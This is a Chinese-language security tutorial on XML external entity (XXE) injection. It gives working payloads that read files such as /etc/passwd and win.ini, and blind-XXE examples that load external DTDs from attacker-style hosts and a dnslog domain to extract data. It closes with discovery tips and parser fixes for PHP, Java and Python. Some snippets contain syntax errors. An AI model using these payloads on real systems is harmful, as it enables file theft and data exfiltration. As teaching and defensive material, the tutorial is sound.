XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
一、基础知识
1、xml
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
|
2、DTD
DTD(Document Type Definition)即文档类型定义,作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
DTD一般认为有两种引用或声明方式:
DTD实体有以下几种声明方式
内部实体
1 2 3 4
| <!DOCTYPE note [ <!ENTITY a "admin"> ]> <note>&a</note>
|
外部实体
1
| <!ENTITY 实体名称 SYSTEM "URI">
|
1 2 3 4
| <!DOCTYPE note> [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <note>&b</note>
|
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
php安装扩展后还能支持的一些协议:
参数实体
1
| <!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
|
1 2 3 4 5
| <!DOCTYPE note> [ <!ENTITY % c "<!ENTITY c1 "awsl">"> %a; ]> <note>&c1</note>
|
- 参数实体用
% name
申明,引用时用%name;
,只能在DTD中申明,DTD中引用。
- 其余实体直接用
name
申明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
外部参数实体
1 2 3 4 5
| <!DOCTYPE note> [ <!ENTITY % d SYSTEM "http://xx.xx.xx.xx/evil.dtd"> %d; ]> <note>&d1</note>
|
1 2
| <!-- http://xx.xx.xx.xx/xml.dtd --> <!ENTITY d1 SYSTEM "file:///etc/passwd">
|
二、XXE(XML External Entity)漏洞利用
1、任意文件读取
最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
直接读取
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE verf1sh [ <!ENTITY test SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]> <user><username>&test;</username><password>verf1sh</password></user>
|
带外测试
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://k6hipq.dnslog.cn"> %file; ]> <user><username>&test;</username><password>verf1sh</password></user>
|
外部引用实体dtd
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>verf1sh</password></user>
|
1 2
| evil2.dtd: <!ENTITY send SYSTEM "file:///etc/passwd">
|
三、XXE挖掘思路
XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
XXE修复方案
方案1-禁用外部实体
PHP
1
| libxml_disable_entity_loader(true);
|
JAVA
1 2
| DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
|
Python:
1 2
| from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
参考链接
https://www.cnblogs.com/20175211lyz/p/11413335.html